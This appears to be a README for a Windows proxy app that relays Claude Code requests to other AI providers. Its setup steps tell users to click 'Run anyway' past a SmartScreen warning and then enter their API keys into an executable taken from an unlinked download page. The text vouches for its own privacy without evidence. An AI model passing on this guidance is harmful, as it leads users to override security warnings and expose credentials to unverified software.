| title | 🦀 claude-proxy-pro - Connect AI tools to more providers |
| description | Route Claude Code traffic to your preferred AI models with this native desktop application. |
This software acts as a middleman for your AI coding tools. Computers often require specific setups to talk to different artificial intelligence providers. This tool simplifies that connection. It sends your requests to services like DeepSeek or OpenRouter without extra work on your part. It runs quietly in the background so you can focus on writing code.
The tool performs well because it uses Go, a language designed for speed and reliability. It handles the heavy lifting so your AI tools stay fast and responsive throughout your workday.
- Broad Compatibility: Connects your coding assistants to multiple AI providers.
- Low Impact: Runs using very little memory on your computer.
- Simple Setup: Follow one set of instructions to get started.
- Stable Connection: Maintains a steady link between your environment and external AI services.
- Privacy Focused: Processes requests locally to ensure your data handling stays predictable.
Follow these steps to set up the software on your Windows computer.
- Visit the official download page.
- Look for the file ending in
.exeunder the latest release heading. - Click the file to start the download.
- Once the file finishes downloading, move it to a folder where you keep your programs.
- Double-click the file to open the software.
Windows may show a message the first time you run the application. This happens because the system wants to verify new software.
- If the SmartScreen window appears, click the More info link.
- Click the Run anyway button.
- The main window will appear once the program loads.
- Select your preferred AI provider from the list inside the application.
- Enter your API key provided by your chosen service.
- Click the Save button to confirm your changes.
The application remembers these settings every time you open it. You do not need to re-enter this information unless you want to switch to a different provider.
This application works on modern Windows operating systems. Ensure your machine meets these guidelines:
- Operating System: Windows 10 or Windows 11.
- Memory: At least 2 gigabytes of random access memory.
- Storage: 50 megabytes of free disk space.
- Network: An active internet connection to communicate with external AI services.
The application does not require a powerful graphics card or special hardware to function. It uses standard network protocols to relay information.
Follow these steps if you experience issues with your connection:
- Connection Errors: Verify your internet connection. Check that your API key is correct in the settings menu.
- Application Won't Open: Check your Task Manager to ensure no other copies of the program are running. Close any hanging processes and try again.
- Slow Responses: Test your internet speed. AI tools depend on your network quality to send and receive data.
- Updates: Check the download page periodically for newer versions. Developers release updates to fix bugs and improve performance.
Your privacy remains a priority. This software does not store your private keys in plain text on external servers. It holds information locally on your hard drive. Because it acts as a proxy, it only touches the data required to route your requests to the AI provider. It does not monitor or log your actual code or personal project files.
If you decide to remove the software, simply delete the executable file from your computer. No hidden folders or background services remain once the file is deleted.
This software sits between your coding assistant and the internet. Think of it like a translator. Your coding assistant speaks one language, and the AI providers speak another. This tool translates the request from your editor into a format the providers understand.
By using this tool, you avoid the complexity of managing server settings or configuration files. You provide the address and the key, and the software handles the rest. This creates a bridge that stays open while you work. You do not need to interact with the software once you start it, other than to switch providers or update your keys.
This project is open source. You may download and use the application for your individual development needs. The code is structured to be accessible to anyone who wants to inspect how it handles data. Respect the terms of service of the AI providers you choose to connect through this proxy. Each provider maintains their own rules regarding the usage of their services. Use this tool responsibly to maintain access to those platforms.
